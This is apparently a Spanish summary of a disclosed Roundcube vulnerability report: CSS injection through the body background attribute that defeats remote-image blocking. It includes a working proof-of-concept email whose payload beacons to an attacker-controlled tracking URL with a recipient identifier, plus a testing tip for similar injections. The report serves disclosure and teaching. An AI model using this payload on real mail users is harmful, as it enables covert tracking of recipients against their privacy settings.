Reports
MEDIA[OTRAS INYECCIONES]#3590583

Inyección de CSS en Roundcube vía el atributo background de <body> que salta el bloqueo de imágenes remotas

Roundcube copiaba el atributo background del <body> de un correo dentro de url() sin comillas. Un data: URI con un paréntesis cerraba la función e inyectaba CSS que cargaba recursos externos aunque las imágenes remotas estuvieran bloqueadas.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Roundcube permite bloquear las imágenes remotas de los correos HTML (opción allow_remote a false). Para ello, su sanitizador rcube_washtml pasa por wash_uri() los valores de los atributos que cargan imágenes y descarta los que apuntan fuera. wash_uri() sí deja pasar URIs data:image/*, porque van incrustadas en el propio mensaje.

El problema estaba en cómo se trataba el atributo background del elemento <body> del correo. La función washtml_callback() de program/actions/mail/index.php convierte ese atributo en un estilo en línea sobre el <div> que envuelve el mensaje, de esta forma:

background-image: url(VALUE)

VALUE se insertaba sin comillas. Basta con un data: URI que contenga ) para cerrar url() antes de tiempo; todo lo que va detrás se interpreta como nuevas propiedades CSS del contenedor.

Como ese CSS acaba en el estilo en línea del <div> y no dentro de un bloque <style>, no pasa por el filtro de URLs de mod_css_styles(), que es el que normalmente quita las referencias externas del CSS. Así, propiedades como background:url(//evil.com) o border-image:url(//evil.com) cargaban recursos de terceros con el bloqueo de imágenes remotas activado.

El reporte se envió el 7 de marzo de 2026 al programa de Nextcloud y se divulgó el 20 de abril de 2026, ya resuelto. La debilidad está clasificada como Resource Injection.

Pasos de reproducción

  1. Enviar a la víctima un correo HTML con este cuerpo (ATTACKER_SERVER es un servidor controlado por el atacante; en el parámetro uid el original ponía una dirección de correo de ejemplo de la víctima):
<!DOCTYPE html>
<html>
<head><title>Quarterly Report</title></head>
<body background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=[REDACTADO]">
<h1>Q4 Financial Summary</h1>
<p>Dear team,</p>
<p>Please find attached the quarterly financial report.</p>
<p>Best regards,<br>Finance Department</p>
</body>
</html>
  1. Abrir el correo en Roundcube con la opción "Bloquear imágenes remotas" activada.
  2. Revisar los logs del servidor del atacante: aparece una petición HTTP a ATTACKER_SERVER/track?uid=[REDACTADO].
  3. Inspeccionar el HTML generado. El <div> contenedor del cuerpo lleva este estilo en línea:
background-image: url(data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=[REDACTADO])

El ) de data:image/png,x) cierra el url() original y todo lo que viene detrás se interpreta como propiedades CSS adicionales: background:url(...) carga la URL externa.

Impacto

Seguimiento de apertura de correos: el atacante sabe cuándo se abre un mensaje aunque la víctima tenga bloqueadas las imágenes remotas, que es precisamente lo que esa opción quiere evitar. Como la URL la elige el atacante, puede incluir en ella un identificador del destinatario (en el ejemplo, el parámetro uid) para saber quién lo ha abierto.

Qué aprender de este caso

  • En clientes de correo web, revisa los atributos heredados de HTML antiguo (background, bgcolor…) que el código convierte en CSS: suelen tratarse aparte del filtro principal y es fácil que se salten sus comprobaciones.
  • Validar el valor no basta si después se concatena en otro lenguaje: aquí wash_uri() daba por bueno el data: URI, pero el peligro aparecía al meterlo sin comillas dentro de url(). Hay que entrecomillarlo y escapar ", \, ) y saltos de línea según la sintaxis de CSS, o rechazar esos caracteres.
  • Si un sanitizador filtra URLs en bloques <style>, comprueba si también lo hace en los estilos en línea que genera el propio servidor; lo más seguro es pasar todo el CSS resultante por el mismo filtro, venga de donde venga.
  • Para probar el bloqueo de imágenes remotas de un webmail, busca cualquier punto donde un valor del correo acabe dentro de url(...) y prueba a cerrarlo con ) seguido de ;propiedad:url(//tu-servidor).